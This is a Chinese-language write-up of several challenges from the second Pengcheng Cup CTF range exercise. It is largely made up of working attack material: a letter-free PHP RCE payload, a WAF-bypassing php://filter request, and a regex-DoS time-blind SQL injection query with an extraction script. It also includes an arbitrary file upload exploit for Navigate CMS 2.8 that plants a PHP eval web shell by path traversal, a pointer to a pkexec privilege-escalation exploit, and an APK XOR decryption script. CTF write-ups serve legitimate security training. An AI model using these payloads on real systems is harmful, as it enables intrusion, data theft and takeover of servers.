第二届“鹏城杯”联邦靶场协同攻防演练赛部分WriteUp
总结一点,我是真的垃圾。
简单的PHP
无字母+无参数RCE,通过取反和数组定位的方式达到构造任意字符串的目的。然后配合getallheaders()进行RCE。
GET /?code=[~%8C%86%8C%8B%9A%92][~%CF]([~%9A%91%9B][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]())); HTTP/1.1
Host: 192.168.1.111:8220
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cmd: cat /ffffflaggg
简单的包含
代码很简单,就是文件包含漏洞,也提示了flag在flag.php,应该是通过伪协议读flag.php,但是有waf拦着。
既然是waf,那肯定少不了加垃圾数据bypass的思路。
POST / HTTP/1.1
Host: 192.168.1.113
Content-Length: 11845
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36 Edg/103.0.1264.37
Origin: http://192.168.1.113
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.113/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
flag=php://filter///////////////////////////////...此处省略一堆斜杠//read=convert.base64-encode/resource=flag.php
can_u_login
这题我是直接硬绕代码的,预期解应该是利用quine技术,属实是我孤陋寡闻了....菜的起飞
题目给了代码,if和case被waf检测,用elt代替
sleep和benchmark被waf检测,用正则DOS RLIKE注入方式来进行时间盲注,具体参考:https://xz.aliyun.com/t/5505
上述链接中的正则DOS RLIKE注入的payload使用了mid来获取数据,本题中mid、sub被检测,通过regexp配合正则表达式来获取数据。正则:'^X.*',其中X就是枚举的数据。
获取password长度payload:
select elt((elt((select length(GROUP_CONCAT(password))from ctf_user)regexp 3,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) regexp '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1)),'a') or '1'regexp'1'
获取password脚本:
# coding: utf-8
import requests
import string
url = "http://192.168.1.112/?password="
payload = "1'%20or%20elt((elt((select%20GROUP_CONCAT(password)from%20users)regexp%20'%5EFUZZ.*'%2Cconcat(rpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a'))%20regexp%20'(a.*)%2B(a.*)%2B(a.*)%2B(a.*)%2B(a.*)%2B(a.*)%2B(a.*)%2Bcd'%2C1))%2C'a')%20or%20'1'regexp'1"
url = url + payload
sess = requests.session()
p = ''
for i in range(32):
for ch in string.printable:
try:
req = sess.get(url.replace('FUZZ', p + ch), proxies={'http': 'http://127.0.0.1:8080'}, timeout=7)
except Exception:
p += ch
print(ch, end='')
break
注出密码后提交得到flag
高手高手高高手
这题可能又非预期了?出题人应该是要审计改动的代码,前台注入进后台,我这里直接admin/admin123进去了。不知道是不是哪位师傅开的后门哈哈
根据/.git/泄漏的源码,可以知道版本是navigate cms2.8。获取git泄漏源码工具:https://github.com/gakki429/Git_Extract
弱口令进入后台之后,直接文件上传getshell
2.8版本后台任意文件上传,exp如下:
POST /navigate_upload.php HTTP/1.1
Host: 192.168.1.116
User-Agent: curl/7.79.1
Accept: */*
Content-Length: 687
Cookie: PHPSESSID=pql5ftm54o92bdgm6c7itteau2
Content-Type: multipart/form-data; boundary=------------------------52d89447a13264a8
--------------------------52d89447a13264a8
Content-Disposition: form-data; name="name"
exploit.jpg
--------------------------52d89447a13264a8
Content-Disposition: form-data; name="session_id"
pql5ftm54o92bdgm6c7itteau2
--------------------------52d89447a13264a8
Content-Disposition: form-data; name="engine"
picnik
--------------------------52d89447a13264a8
Content-Disposition: form-data; name="id"
..././..././..././web/index.php
--------------------------52d89447a13264a8
Content-Disposition: form-data; name="file"; filename="exploit.jpg"
Content-Type: image/jpeg
<?php
eval($_POST[不会有人注意一句话密码吧?]);print_r(md5(1));
--------------------------52d89447a13264a8--
需要注意的是,题目源码做了改动,过滤了id的../,通过..././绕过
getshell后需要提权,查看suid程序结果如下
存在pkexec,可以通过cve来提权,https://github.com/arthepsy/CVE-2021-4034
web根目录下有一个I_want_capture_the_flag程序,提取出来分析可知,当web根目录下不存在bocai.html和bocai.png时读取/root/flag进行解密后输出。
默认情况下bocat.html和bocai.png不允许删除,通过chattr -i和chatt -a去除限制,然后删除
最后执行I_want_capture_the_flag得到flag
Easygo
通过附件源码可知,/juice/路由存在注入
通过sqlmap可以直接跑出flag(sqlmap真香
baby_re
用模拟器安装apk,是经典的check input题
用jadx打开apk,找到判断逻辑:获取用户输入,调用baby_xor加密,跟$c对比
加密后数据在如下图位置:
用apktool解压baby_re.apk,用IDA打开baby_re/lib/x86/libcreateso.so,找到baby_xor的加密逻辑
需要注意的是,在xor之前还对key做了异或,在hide_key()中
查看key的原始值是[0x56, 0x57, 0x58, 0x59]
写脚本解密数据
# coding: utf-8
data = [119, 9, 40, 44, 106, 83, 126, 123, 33, 87, 113, 123, 112, 93, 125, 127, 41, 82, 44, 127, 39, 3, 126, 125, 119, 87, 47, 125, 33, 6, 44, 127, 112, 0, 126, 123, 115, 24]
key = [0x56 ^ 0x47, 0x57 ^ 0x32, 0x58 ^ 0x11, 0x59 ^ 0x12]
for i in range(len(data)):
ch = chr(data[i] ^ key[i % 4])
print(ch, end='')
将前缀改成PCL再提交即可。